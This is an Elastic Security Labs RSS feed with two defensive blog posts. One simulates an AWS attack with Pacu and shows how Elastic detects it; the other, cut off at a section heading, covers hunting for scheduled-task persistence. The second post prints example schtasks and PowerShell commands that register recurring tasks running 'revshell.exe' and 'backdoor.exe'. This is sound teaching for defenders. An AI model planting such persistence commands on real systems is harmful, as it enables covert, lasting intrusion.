<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title><![CDATA[Elastic Security Intelligence & Analytics Team - Elastic Security Labs]]></title>
    <description><![CDATA[Trusted security news & research from the team at Elastic.]]></description>
    <copyright><![CDATA[© 2026. Elasticsearch B.V. All Rights Reserved]]></copyright>
    <image>
      <title><![CDATA[Elastic Security Intelligence & Analytics Team - Elastic Security Labs]]></title>
      <url>https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte2c6b841aff36df4/6a88d9784acc96e3f324863d/security-labs-thumbnail.png</url>
      <link>https://www.elastic.co/security-labs/author/elastic-security-intelligence-analytics-team</link>
    </image>
    <link>https://www.elastic.co/security-labs/author/elastic-security-intelligence-analytics-team</link>
    <atom:link href="https://www.elastic.co/security-labs/rss/author/elastic-security-intelligence-analytics-team.xml" rel="self" type="application/rss+xml"/>
    <language><![CDATA[en]]></language>
    <lastBuildDate>Wed, 16 Sep 2026 12:43:14 GMT</lastBuildDate>
  <item>
    <title><![CDATA[Security operations: Cloud monitoring and detection with Elastic Security]]></title>
    <description><![CDATA[As companies migrate to cloud, so too do opportunist adversaries. That's why our Elastic Security team members have created free detection rules for protecting users' cloud platforms like AWS and Okta. Learn more in this blog post.]]></description>
    <content:encoded><![CDATA[<p>As many organizations have migrated their infrastructure, applications, and data to cloud offerings, adversaries have extended their operational capabilities in cloud environments to achieve their mission — whether that means stealing intellectual property, disrupting business operations, or holding an organization's data for ransom. In order to protect our users' data from attack, the Elastic Security Intelligence &amp; Analytics Team researches and develops <a href="https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo">rules</a> to detect attacker behavior in the cloud <em>and</em> on the endpoint.</p>
<p>In this post, we'll discuss cloud monitoring and detection-related challenges security operations teams face, and why attacks against cloud environments are often successful. We will share details on our free cloud detection rules (including many new ones released in <a href="https://www.elastic.co/blog/whats-new-elastic-security-7-9-0-free-endpoint-security">Elastic Security 7.9</a>) and show how they can help <a href="https://www.elastic.co/security">Elastic Security</a> users.</p>
<p>We'll also explain how Elastic can ingest logs from a wide variety of cloud platforms and how the Elastic Common Schema (ECS) makes searching, monitoring, and detection easy for defenders.</p>
<h2 id="cloudmonitoringanddetectionchallenges">Cloud monitoring and detection challenges</h2>
<p>Security teams typically encounter one or more of the following challenges when they're asked to monitor, detect, and respond to threats in their organization's cloud environments:</p>
<ul>
<li><strong>Resource constraints:</strong> It can take a considerable amount of time to learn and understand cloud technologies and their ever-changing data sources. Many security operations teams do not have the resources to allocate to this ongoing effort.</li>
<li><strong>Understanding of adversary tradecraft:</strong> Attacker behavior on well-known platforms such as Windows has been researched extensively and shared with the security community. Security teams may not have an in-depth understanding of how adversaries operate in cloud environments or the ability to provision a test environment to practice offensive and defensive techniques to protect their organization.</li>
<li><strong>Blind spots:</strong> For effective monitoring and detection, the data available to security practitioners must be relevant, accurate, and timely. Cloud logs shipped to a SIEM can be used for detection and response as long as the security team can depend on the quality of the data.</li>
<li><strong>Data normalization:</strong> Most cloud platforms have their own log categories and event schema. Normalizing logs into a common schema is not a trivial or one-off task. Some security teams, for example, have several different field names for a hostname across their data sources indexed in their SIEM. Without a normalized and documented schema, it can be difficult for analysts — especially less experienced ones — to write search queries and correlate events across data sources effectively.</li>
</ul>
<h2 id="ingestingandsearchingcloudlogswithelastic">Ingesting and searching cloud logs with Elastic</h2>
<p>Elastic has a large collection of Filebeat <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-modules.html">modules</a> that can be used to simplify the collection, parsing, and visualization of many diverse log formats into a common schema — including cloud platforms such as <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-aws.html">Amazon Web Services (AWS)</a>, <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-azure.html">Azure</a>, <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-okta.html">Okta</a>, and <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-o365.html">Office 365</a>. Rapid development of new Filebeat modules is an ongoing process.</p>
<p>The <a href="https://www.elastic.co/guide/en/ecs/current/ecs-reference.html">Elastic Common Schema</a> (ECS) defines a common set of fields for ingesting logs from a connected data source (e.g., AWS/Okta) into Elasticsearch. Log data is normalized into a format where the various field names can be used in queries to correlate behavior across data sources. This is useful to security and IT operations teams for a number of reasons.</p>
<p>Practitioners and administrators do not need to spend countless hours transforming or normalizing their ingested logs so that the field names follow their own common schema. Managing a schema like this yourself is no small undertaking and is a continuous effort. Elastic manages ECS (saving users time and resources) so that security teams can rely on a common set of field names to search their data quickly and efficiently.</p>
<p>End users can rely on using the same field names in their queries when searching across multiple data sources, which presents the following advantages:</p>
<ul>
<li>Having a consistent schema for searching saves security analysts time and lowers the barrier to entry for new analysts. Analysts don't have to learn or remember all of the different field names and their purpose for each data source.</li>
<li>Analysts can correlate events across data sources such as endpoint, proxy, and firewall, which helps them ask questions of their data more efficiently and make sound decisions during an investigation, incident, or hunt.</li>
<li>It's easy for analysts to produce a timeline or build a visualization of the activity that occurred.</li>
</ul>
<h2 id="detectingattackersoperatingincloudenvironments">Detecting attackers operating in cloud environments</h2>
<p>The Elastic Security Intelligence &amp; Analytics Team's research into adversary tradecraft leads to new detection features like rules and machine learning jobs — capabilities that enable small security teams to have an outsized impact. Security features like these increase the cost of an attack for adversaries. Elastic Security users can expect to see a continued focus on increasing the cost of cloud attacks.</p>
<p>In the remainder of this blog post, we'll simulate attack techniques against AWS and Okta cloud environments. We'll review the alerts that are generated by the suspicious activity and how an analyst can perform initial triage and complete their investigation using Elastic Security. We will also demonstrate how analysts can add exceptions to detection rules in order to filter benign events and continue to alert on suspicious behavior.</p>
<h2 id="monitoringawscloudtraillogstodetectsuspiciousbehavior">Monitoring AWS CloudTrail logs to detect suspicious behavior</h2>
<p>As organizations migrate to or provision new infrastructure in cloud platforms like AWS, they face the common challenges that we described earlier. Fortunately, Elastic Security has a <a href="https://github.com/elastic/detection-rules/tree/main/rules/aws">strong variety of AWS rules</a>, available for <a href="https://www.elastic.co/blog/whats-new-elastic-security-7-9-0-free-endpoint-security">free in 7.9</a> to detect suspicious behaviors in an AWS environment.</p>
<p>The Filebeat <a href="https://www.elastic.co/guide/en/beats/filebeat/master/filebeat-module-aws.html">module</a> for AWS helps you easily ship CloudTrail, Simple Storage Service (S3), Elastic Load Balancing (ELB), and virtual private cloud (VPC) flow logs to Elasticsearch for monitoring and detection in Elastic Security. Let's walk through an attack and defense scenario utilizing CloudTrail data. <a href="https://aws.amazon.com/cloudtrail/">CloudTrail</a> provides event history of your AWS account activity, including actions taken through the AWS Management Console, AWS software development kits (SDKs), command line tools, and other AWS services. This event history can help simplify security detection, analysis, and investigations.</p>
<p>Many attacks against AWS start with an attacker obtaining an access key and/or the secret access key details. These keys may be harvested in a variety of ways, including through phishing, a data breach, GitHub repositories, screenshots, error messages, snapshot data, or simply poor key management practices. By obtaining these keys, an attacker can take a variety of actions against your AWS infrastructure.</p>
<p>Let's walk through one of the many potential attack scenarios that could play out. In the following example, the adversary enumerates the trails and monitoring capabilities that have been configured for the AWS account. They follow up on this activity by disabling a trail and a configuration recorder in an attempt to evade detections and then proceed to harvest secrets.</p>
<h3 id="simulatingadversarybehaviorinaws">Simulating adversary behavior in AWS</h3>
<p>In this demonstration, we'll use <a href="https://github.com/RhinoSecurityLabs/pacu">Pacu</a> to perform our attack. Pacu is a popular framework for exploiting AWS infrastructure, developed and maintained by Rhino Security Labs. Pacu is modular, similar to other exploitation frameworks like Metasploit and Koadic, and enables attackers to exploit configuration flaws within an AWS account. Attackers can use Pacu to check if the required permissions are assigned to the compromised account before attempting to execute a module. This can be helpful from an attacker's perspective to not create unnecessary noise and logs, and draw additional attention from defenders by running modules that will ultimately fail.</p>
<p>The attacker begins by enumerating services using the detection__enum_services module to determine what logging and monitoring services are enabled for the AWS account.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2445da64c7f0c9aa/6a7d7e1f51156a014c2bf7e9/1-enumerating-services-blog-secops-cloud-platform-monitoring.jpg" alt="Figure 1 - Enumerating services using Pacu’s detection__enum_services module " title="Figure 1 - Enumerating services using Pacu’s detection__enum_services module" /></p>
<p>The attacker discovered eight trails, as well as ten configuration rules, a recorder, and a delivery channel. Essentially, the enumeration script is querying certain AWS API calls to list or describe relevant information about the environment. By reviewing the <a href="https://github.com/RhinoSecurityLabs/pacu/blob/master/modules/detection__enum_services/main.py">code</a> of the module, we can see the targeted APIs:</p>
<pre><code>DescribeSubscription
GetSubscriptionState
DescribeTrails
ListDetectors
DescribeConfigRules
DescribeConfigurationRecorders
DescribeConfigurationRecorderStatus
DescribeDeliveryChannels
DescribeDeliveryChannelStatus
DescribeConfigurationAggregators
DescribeAlarms
DescribeFlowLogs
</code></pre>
<p>After the attacker determines which services are running, their next logical step may be to interrupt logging and monitoring by disabling a trail, alarm, detector, or recorder in an attempt to evade detection. To accomplish this objective, we'll use a different module called detection__disruption to disable a trail called brentlog, and stop the configuration recorder named default.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta6c2c596809db5f7/6a7d7e228fc2d07bee3eb80b/2-disabling-trail-blog-secops-cloud-platform-monitoring.jpg" alt="Figure 2 - Disabling a trail and stopping a configuration recorder using Pacu’s detection__disruption module " title="Figure 2 - Disabling a trail and stopping a configuration recorder using Pacu’s detection__disruption module" /></p>
<p>At this point, with trail logging suspended and the configuration recorder turned off from tracking changes to resources, the attacker may want to check if there are any credentials, API keys, or tokens available in <a href="https://aws.amazon.com/about-aws/whats-new/2018/04/introducing-aws-secrets-manager/#:~:text=AWS%20Secrets%20Manager%20is%20a,other%20secrets%20throughout%20their%20lifecycle.">Secrets Manager</a> and if so, collect them. In this scenario, the attacker uses the enum_secrets module and finds one secret in the directory, /sessions/brent/downloads/secrets/secrets_manager. Harvesting these secrets could help the adversary achieve lateral movement and/or privilege escalation.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfa9228880b614597/6a7d7e242f00b24c1befbe3a/3-searching-aws-blog-secops-cloud-platform-monitoring.jpg" alt="Figure 3 - Searching for AWS secrets using Pacu's enum__secrets module" title="Figure 3 - Searching for AWS secrets using Pacu's enum__secrets module" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1bde01ed27e6e784/6a7d7e27bdcff059f8c3ffd5/4-viewing-aws-blog-secops-cloud-platform-monitoring.jpg" alt="Figure 4 - Viewing the AWS secret after its discovery" title="Figure 4 - Viewing the AWS secret after its discovery" /></p>
<p>We'll stop our fictitious attack scenario here, but if you're curious to learn what the attacker could do next, the following Google search will return some examples: intitle:"AWS" intext:("attack" | "breach"). In the next section, we'll look at what this behavior looks like from a defender's perspective and how Elastic Security can be used to detect this behavior.</p>
<h3 id="detectingandinvestigatingthesuspiciousbehaviorinaws">Detecting and investigating the suspicious behavior in AWS</h3>
<p>While monitoring the usage of the previously mentioned APIs, it can be difficult to distinguish benign activity from suspicious behavior, such as an attacker enumerating an environment. In production environments, monitoring for calls to these APIs can be noisy, as the behavior is quite common. To help find this rare and potentially suspicious behavior, and in addition to the AWS detection rules we have available, we've released <a href="https://github.com/elastic/detection-rules/tree/main/rules/ml">machine learning</a> jobs in 7.9 specifically for AWS CloudTrail that help identify outliers, such as patterns of unusual activity that are hard to find using conventional detection rules.</p>
<p>Looking at our detections page from the previous attack, we can see multiple alerts were triggered. Our free built-in detection rules identified the techniques of <em>suspending a trail</em>, <em>stopping a configuration recorder</em>, and <em>grabbing sensitive information from the secrets manager</em>. The other alerts are from the machine learning jobs of <a href="https://www.elastic.co/guide/en/security/7.9/unusual-city-for-an-aws-command.html"><em>Unusual Country For an AWS Command</em></a> and <a href="https://www.elastic.co/guide/en/security/master/unusual-aws-command-for-a-user.html"><em>Unusual AWS Command for a User</em></a> which identify a geolocation (country) that is unusual for the command or a user context that does not normally use the command.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfbac51dab0c68105/6a7d7e2a51156a2a132bf7ed/5-viewing-detection-alerts-blog-secops-cloud-platform-monitoring.jpg" alt="Figure 5 - Viewing the detection alerts in Elastic Security" title="Figure 5 - Viewing the detection alerts in Elastic Security" /></p>
<p>If we pivot into one of the machine learning alerts, we can see a description of what it detected, along with a built-in investigation guide to walk an analyst through a potential workflow when analyzing an unusual CloudTrail event.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte502455b7c1f9453/6a7d7e2d4c4bfb30dfcca7bc/6-machine-learning-alert-blog-secops-cloud-platform-monitoring.jpg" alt="Figure 6 - Viewing the details of a machine learning alert" title="Figure 6 - Viewing the details of a machine learning alert" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd3c551015c7a5918/6a7d7e308fc2d030513eb811/7-viewing-investigation-notes-blog-secops-cloud-platform-monitoring.png" alt="Figure 7 - Viewing the investigation notes for an unusual CloudTrail event" title="Figure 7 - Viewing the investigation notes for an unusual CloudTrail event" /></p>
<p>Let's also take a look at the details in the Timeline view from the <a href="https://www.elastic.co/guide/en/security/master/aws-configuration-recorder-stopped.html"><em>AWS Configuration Recorder Stopped</em></a> alert. The fields I'm particularly interested in are the API call, user agent string, user identity type, request parameters, and the raw text of the entire event.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltba913025b586065c/6a7d7e33e3a219631e99c69d/8-alert-details-timeline-blog-secops-cloud-platform-monitoring.png" alt="Figure 8 - Analyzing the alert details in the Timeline" title="Figure 8 - Analyzing the alert details in the Timeline" /></p>
<p>By analyzing the alert, we're able to quickly determine:</p>
<p>|                    |                                                                                                                                                                                                                                                      |
| ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Field              | Description                                                                                                                                                                                                                                          |
| event.action       | Tells us the AWS API call that was made, StopConfigurationRecorder                                                                                                                                                                                   |
| request_parameters | Gives us the details about what was sent in the request, in our case, the configuration recorder name, default                                                                                                                                       |
| user.name          | Informs us as to who made the request, pacu                                                                                                                                                                                                          |
| user_identity.type | Contains details about the type of Identity and Access Management (IAM) identity. In our case, an IAMUser. Root is another user identity type we have built in rules for.                                                                            |
| user_agent         | The value of the HTTP User-Agent header. User agent strings can be easily modified, but if an account typically uses the AWS Java SDK for their API calls, and it changes, then the detection of the anomalous user agent string can be a quick win. |
| event.original     | Gives us the raw alert details                                                                                                                                                                                                                       |</p>
<p><em>Table 1 - Analysis of alert fields</em></p>
<p>After analyzing the alert, we can start to piece together the events and look at what actions the user took just before our alerts fired (and afterwards as applicable). Again, we can spot the attackers enumeration here as well.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt68aa0e610ebd993a/6a7d7e3696b5a66f1787859f/9-event-history-blog-secops-cloud-platform-monitoring.png" alt="Figure 9 - Viewing event history for the user Pacu in the Timeline " title="Figure 9 - Viewing event history for the user Pacu in the Timeline" /></p>
<p>We may also want to search our environment for specific API calls to see if they were invoked by other users or hosts, from different IPs, or at other time frames that would be suspicious in our environment.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcc259ce7764b007e/6a7d7e3abdcff074e5c3ffd9/10-api-history-blog-secops-cloud-platform-monitoring.png" alt="Figure 10 - Viewing API call history for the StopConfigurationRecorder API in the Timeline " title="Figure 10 - Viewing API call history for the StopConfigurationRecorder API in the Timeline" /></p>
<p>We can also create a visualization to look for the least common API calls in our environment and pivot from there. For AWS, the API calls are in the event.action field.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt084ac25f099dfa4b/6a7d7e3c96b5a6ef888785a3/11-visualization-api-calls-blog-secops-cloud-platform-monitoring.png" alt="Figure 11 - Using a visualization to look for least common API calls in our environment " title="Figure 11 - Using a visualization to look for least common API calls in our environment" /></p>
<p>As demonstrated, our free built-in rules for AWS can detect this activity as well as a number of other potential attack scenarios. We've opened up our <a href="https://github.com/elastic/detection-rules">rules repository</a> and encourage you to have a look and learn how to <a href="https://github.com/elastic/detection-rules#how-to-contribute">contribute</a> if interested.</p>
<h2 id="detectingsuspiciousbehaviorinoktalogs">Detecting suspicious behavior in Okta logs</h2>
<p><a href="https://www.okta.com/products/single-sign-on/">Okta single sign-on (SSO)</a> is a cloud solution that allows users to log into a variety of systems in their organization via a centralized process using a single user account. Informing end users that they only have to remember one username and password instead of ten or more reduces the risk that they'll adopt poor password hygiene and enables system administrators to enforce stronger password policies. Further, multi-factor authentication (MFA) policies can be configured in Okta, which raises the barriers to entry for attackers. Many attackers will simply move on to look for an easier target when they discover that MFA is enforced for their target's network or user account.</p>
<p>While SSO solutions can provide a convenient user experience and reduce cybersecurity risk for an organization, these centralized systems that offer a type of skeleton key to many systems and applications are often an attractive target for attackers. For example, if an adversary manages to harvest an Okta administrator's credentials or API token, they could attempt to perform any of the actions in the non-exhaustive list below:</p>
<ul>
<li>Modify or disable MFA policies for one or more applications in order to weaken their victim's security controls.</li>
<li>Create new user accounts or API tokens to maintain persistence in their target's environment and attempt to “blend in” and evade detection.</li>
<li>Modify, delete, or deactivate an Okta network zone to loosen the restrictions on which geolocation users or administrators can login from.</li>
<li>Delete or disable an application or other configuration to create a Denial-of-Service (DoS) condition and impact a company's business operations.</li>
</ul>
<p>To enable security teams to monitor their Okta environment for suspicious activity, our <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-okta.html">Okta Filebeat module</a> can pull <a href="https://developer.okta.com/docs/reference/api/system-log/">Okta System Log</a> events and ship them to Elasticsearch to be indexed. Okta's System Log records events related to an organization in order to provide an audit trail that can be used to understand platform activity. The Elastic Security Intelligence &amp; Analytics Team has <a href="https://github.com/elastic/detection-rules/tree/main/rules/okta">free rules</a> to detect suspicious activity in Okta logs and will continue adding more in future.</p>
<p>In the following example, imagine that an adversary has harvested an API token after gaining initial access to an organization's network. The API token has administrator privileges and the adversary executes some actions in their target's Oka environment:</p>
<ul>
<li>Create a new user account and assign administrative permissions to it in order to maintain a presence in the target environment should the security team discover that the current API token is compromised</li>
<li>Deactivate a sign-on policy in order to weaken the target's security controls</li>
<li>Disable a network zone to enable attackers to authenticate from any geographical location during their intrusion</li>
</ul>
<p>The Okta Filebeat module was configured to ship Okta System Log events to Elasticsearch and our Okta rules were activated in Elastic Security. The suspicious activity triggered three alerts shown in Figure 12 below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1be76b5bdf1f4fb8/6a7d7e3f5967e551cf5da497/12-okta-alerts-blog-secops-cloud-platform-monitoring.png" alt="Figure 12 - Okta alerts in Elastic Security generated by suspicious activity" title="Figure 12 - Okta alerts in Elastic Security generated by suspicious activity" /></p>
<p>Clicking on one of the alerts allows the analyst to review more information about the rule, including the description of the behavior that the rule detects, severity and risk scores, and the associated MITRE ATT&amp;CK® tactic and technique. The analyst can scroll further down the page and begin to investigate the alert in Timeline.</p>
<p>To learn more how Elastic supports ATT&amp;CK, see our presentation: <a href="https://youtu.be/2Hh5spqA6bw">How to Plan and Execute a Hunt</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcd233600fc5d2fee/6a7d7e436c6eac6aa3f112e2/13-rule-information-blog-secops-cloud-platform-monitoring.png" alt="Figure 13 - Viewing a rule's information and settings" title="Figure 13 - Viewing a rule's information and settings" /></p>
<p>Security practitioners know that every organization's network is different. Behavior that looks suspicious in one environment may be benign in another. To help security teams find the proverbial “signal in the noise,” users can add exceptions to their detection rules to filter benign events and continue to alert on suspicious events. Figure 14 shows an exception being added to an Okta rule.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt479de802d9fa2855/6a7d7e4651156a189b2bf7f1/14-adding-exception-blog-secops-cloud-platform-monitoring.jpg" alt="Figure 14 - Adding an exception to a rule in Elastic Security" title="Figure 14 - Adding an exception to a rule in Elastic Security" /></p>
<p>We've also introduced the "threshold" rule type. Threshold rules aggregate query results and generate an alert when the number of matched events exceeds a certain threshold. The example rule below will generate an alert when 25 Okta user authentication failures occur from a single source IP address. This can be indicative of a brute force or password spraying attack.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt547d925aa4b74189/6a7d7e49dd26d215602a7212/15-okta-brute-force-blog-secops-cloud-platform-monitoring.png" alt="Figure 15 - Reviewing a threshold rule configured to detect an Okta brute force attack" title="Figure 15 - Reviewing a threshold rule configured to detect an Okta brute force attack" /></p>
<p>Viewing an alert generated by a threshold rule in the Timeline allows an analyst to review the events that triggered the rule and begin their triage process or investigation.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltffa02066c6056b30/6a7d7e4cead8ec7746ba7ab1/16-reviewing-alert-blog-secops-cloud-platform-monitoring.png" alt="Figure 16 - Reviewing an alert from a failed Okta authentication threshold rule in Timeline" title="Figure 16 - Reviewing an alert from a failed Okta authentication threshold rule in Timeline" /></p>
<h2 id="conclusion">Conclusion</h2>
<p>According to Verizon's latest <a href="https://enterprise.verizon.com/resources/reports/dbir/">Data Breach Investigations Report</a>, cloud assets were involved in 24% of the report's 3,950 data breaches reviewed last year. As organizations continue to migrate their data and business operations to the cloud, we can expect this number to increase.</p>
<p>In this blog post, we discussed some of the challenges that security teams face when attempting to monitor for, detect, and investigate suspicious behavior in their organization's cloud environments. We walked through some practical examples on how attackers operate in cloud environments and how Elastic Security can detect those techniques.</p>
<p>The Elastic Security Intelligence &amp; Analytics Team researches adversary tradecraft and develops new detection rules and machine learning jobs for multiple platforms including cloud. Our users can expect to see our continued focus on increasing the cost of cloud attacks.</p>
<p>Configuring our <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-modules.html">Filebeat modules</a> to ship logs to Elasticsearch and enable detection rules in Elastic Security is easy. Our <a href="https://github.com/elastic/detection-rules">free detection rules</a> help security teams monitor those logs and detect suspicious behavior, regardless of the size of their team. Elastic Security enables analysts to triage and investigate those alerts quickly and efficiently.</p>
<p>If you're interested in learning more about Elastic Security, you can <a href="https://www.elastic.co/security">download it for free</a> or sign up for a free 14-day trial of <a href="https://www.elastic.co/cloud/">Elastic Cloud</a>.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/cloud-monitoring-and-detection-with-elastic-security</link>
    <guid isPermaLink="false">cloud-monitoring-and-detection-with-elastic-security</guid>
    <category><![CDATA[Cloud Security]]></category>
    <dc:creator><![CDATA[Brent Murphy,David French,Elastic Security Intelligence & Analytics Team]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt23836ecff5128248/6a7d7e4f448e4ec7495bdaad/blog-thumb-network-attack-map.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 30 Nov 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 2)]]></title>
    <description><![CDATA[Learn how Elastic Endpoint Security and Elastic SIEM can be used to hunt for and detect malicious persistence techniques at scale.]]></description>
    <content:encoded><![CDATA[<p>In Part 2 of this two-part series, our goal is to provide security practitioners with better visibility, knowledge, and capabilities relative to malicious persistence techniques that impact organizations around the world every day.</p>
<p><a href="https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1">Part 1</a> explained what persistence is and why attackers need it. It introduced the Event Query Language (<a href="https://www.elastic.co/blog/getting-started-eql">EQL</a>) before showing its practical use cases for threat hunting. Finally, it examined a popular technique used by adversaries to maintain persistence, Windows Management Instrumentation (WMI) Event Subscription (<a href="https://attack.mitre.org/techniques/T1084/">T1084</a>). We shared how <a href="https://www.elastic.co/security">Elastic Security</a> users can hunt for and detect this technique being used in their environment.</p>
<p>In this post, we’ll explore two additional persistence techniques that are being used by attackers in the wild: Scheduled Tasks (<a href="https://attack.mitre.org/techniques/T1053/">T1053</a>) and BITS Jobs (<a href="https://attack.mitre.org/techniques/T1197/">T1197</a>). This blog assumes you've already learned a little EQL as we walk through real-world examples and provide ready-to-use detection logic for each technique.</p>
<h2 id="persistenceviascheduledtaskst1053">Persistence via scheduled tasks (T1053)</h2>
<p>Windows provides a built-in utility called schtasks.exe that allows you to create, delete, change, run, and end tasks on a local or remote computer. Scheduled tasks run at an elevated privilege level, which means this persistence mechanism can indirectly satisfy privilege escalation (TA0004) as well. It’s important to be aware of scheduled tasks that exist in your environment (such as maintenance or backup tasks) as well as tasks created during the installation of new software (like PDF readers or browsers). It's also essential for security teams to baseline their environment, as knowing all the legitimate ways that scheduled tasks are used will help you become a more effective hunter and identify anomalies more quickly.</p>
<p>An adversary may attempt to abuse scheduled tasks to execute programs at startup or on a regular cadence for persistence. Threat actors like <a href="https://attack.mitre.org/groups/G0049/">APT34</a>, <a href="https://attack.mitre.org/groups/G0016/">APT29</a>, and <a href="https://attack.mitre.org/groups/G0037/">FIN6</a> have been known to use scheduled tasks as a means to persist. Figure 1 depicts some of the command line parameters available to schtasks.exe, which we can use as references when analyzing task creation events.</p>
<pre><code>/Create - creates a new scheduled task
/RU - specifies the "run as" user account
/SC - specifies the schedule frequency
/TN - specifies the string in the form of path\name which uniquely identifies this scheduled task
/TR - specifies the path and file name of the program to be run at the scheduled time
/MO - specifies how often the task runs within its schedule type
/F - forcefully creates the task and suppresses warnings if the specified task already exists
</code></pre>
<p><em>Figure 1 - Portion of Windows schtasks.exe available command line parameters</em></p>
<p>Figure 2 shows an example of a schtasks.exe command. <a href="https://lolbas-project.github.io/lolbas/Binaries/Schtasks/">This example</a> is from the popular <a href="https://lolbas-project.github.io/">Living Off The Land Binaries and Scripts (LOLBAS)</a> project that demonstrates how built-in, trusted Operating System utilities can be abused by adversaries to achieve their objectives. By looking at the command line parameters in the example, the task named Reverse Shell is configured to execute the binary C:\some\directory\revshell.exe every minute.</p>
<pre><code>schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr C:\some\directory\revshell.exe /create /sc minute /mo 1 /tn "Reverse shell" /tr C:\some\directory\revshell.exe
</code></pre>
<p><em>Figure 2 - Example of scheduled task creation using schtasks.exe</em></p>
<p>Windows PowerShell also includes several <a href="https://docs.microsoft.com/en-us/powershell/module/scheduledtasks/?view=win10-ps">ScheduledTasks cmdlets</a> that can be used to create and manage scheduled tasks on Windows endpoints. Security teams can hunt for suspicious usage of these cmdlets including the ones listed in Figure 3. Organizations that have already deployed PowerShell 5.0 should consider monitoring suspicious script block logging events, Event ID 4104. A good resource on PowerShell visibility and recommended log sources to monitor can be found <a href="https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html">here</a>.</p>
<pre><code>New-ScheduledTaskAction - creates a scheduled task action
New-ScheduledTaskTrigger - creates a scheduled task trigger object
Register-ScheduledTask - registers a scheduled task definition on a local computer
</code></pre>
<p><em>Figure 3 - Common PowerShell cmdlets for scheduled task creations</em></p>
<p>Figure 4 shows how these PowerShell cmdlets can be used to create and register a scheduled task.</p>
<pre><code>PS C:\&gt; $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
PS C:\&gt; $T = New-ScheduledTaskTrigger -Daily -At 9am
PS C:\&gt; $D = New-ScheduledTask -Action $A -Trigger $T
PS C:\&gt; Register-ScheduledTask Backdoor -InputObject $D
</code></pre>
<p><em>Figure 4 - PowerShell cmdlets being used to create and register a scheduled task</em></p>
<h2 id="realworldexampleapt34scheduledtasksabuse">Real-world example: APT34 scheduled tasks abuse</h2>
<p>As mentioned previously, APT34, a highly organized and technical state-sponsored threat group, is known to use scheduled tasks for persistence. The following visualization (Figure 5) depicts one of the ways a scheduled task can be used. In this case, we’re seeing the result of a victim opening a phishing lure (Step 1) — attributed to the APT34 threat group — via the Resolver view. Resolver is a critical enabler for security practitioners, as discussed in <a href="https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-1">Part 1</a>. In this example, the following behaviors can be observed:</p>
<ul>
<li>A malicious macro, embedded within a Microsoft Word document, was opened (Step 2)</li>
<li>Upon opening the Word document and executing the malicious macro, the native Windows script interpreter (wscript.exe) executed a script introduced by the adversary (Step 3)</li>
<li>The script created a callback to C2 while also establishing persistence via a scheduled task (Step 4)</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte2758920df574e2a/6a7d81d1ead8ec8ef3ba7b4e/adversary-tradecraft-101-part-2-image1.jpg" alt="Figure 5 - Elastic Endpoint Security’s Resolver view showing process ancestry after a user opened a malicious Word document, leading to the configuration of a persistent scheduled task" title="Figure 5 - Elastic Endpoint Security’s Resolver view showing process ancestry after a user opened a malicious Word document, leading to the configuration of a persistent scheduled task" /></p>
<p>Figure 6 depicts the command line arguments parsed from the malicious scheduled task. Every minute, the native Windows Script Host utility, wscript.exe, will execute the malicious VBScript file, AppPool.vbs, which resides in the ProgramData subdirectory.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfd4c31c9b416f2e3/6a7d81d4e02fac22d55d352a/adversary-tradecraft-101-part-2-image2.png" alt="Figure 6 - Resolver showing command line arguments executed with schtasks.exe" title="Figure 6 - Resolver showing command line arguments executed with schtasks.exe" /></p>
<h2 id="huntingforscheduledtasks">Hunting for scheduled tasks</h2>
